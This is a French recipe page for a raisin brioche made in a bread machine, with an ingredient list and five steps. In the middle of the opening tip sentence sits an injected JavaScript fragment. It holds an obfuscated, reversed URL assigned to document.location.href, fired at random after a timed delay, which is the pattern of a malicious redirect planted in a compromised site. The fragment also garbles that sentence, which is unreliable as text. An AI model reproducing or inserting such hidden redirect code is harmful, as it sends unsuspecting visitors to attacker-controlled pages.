Brioche aux raisins secs en M.A.P
2017-11-23- Cuisine : Brioche
- Thématique : Machine à pain, Végétarien
- Niveau : Facile
Pour éviter que les raisins secs tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tombent au fond de la brioche. Les mélanger dans du sucre glace. Bien secouer l’excédent avant de les incorporer.
Ingrédients
- Pour 8 personnes
- 800 g de farine à brioche avec levure incorporée
- 2 œufs entiers
- 2 sachets de levure de boulanger déshydratée
- 100 g de beurre ramolli
- 100 g de raisins secs
- 50 g de sucre en poudre
- 3 sachets de sucre vanillé
- 350 ml de lait tiède
Préparation de la recette
Etape 1
Pour éviter que les raisins secs tombent au fond de la brioche. Les mélanger dans du sucre glace. Bien secouer l'excédent avant de les incorporer.
Etape 2
Déposez dans la cuve à M.A.P. dans l'ordre suivant: le lait tiède, les œufs entiers, le beurre ramolli, la farine à brioche avec levure incorporée, sucre en poudre, les sachets de sucre vanillé.
Etape 3
Programmez (pain basique). A la fin du pétrissage. Ôtez les pâles. Ajoutez les raisins secs.
Etape 4
Relancez le programme 30 minutes avant la fin de cuisson. Arrêtez la machine. Dans un récipient mélangez le jaune d'œuf avec le sucre vanillé. Badigeonnez le dessus de la brioche avec un pinceau de cuisine.
Etape 5
Laissez le programme continué jusqu'à la fin du programme. Démoulez la brioche sur une grille et dégustez.
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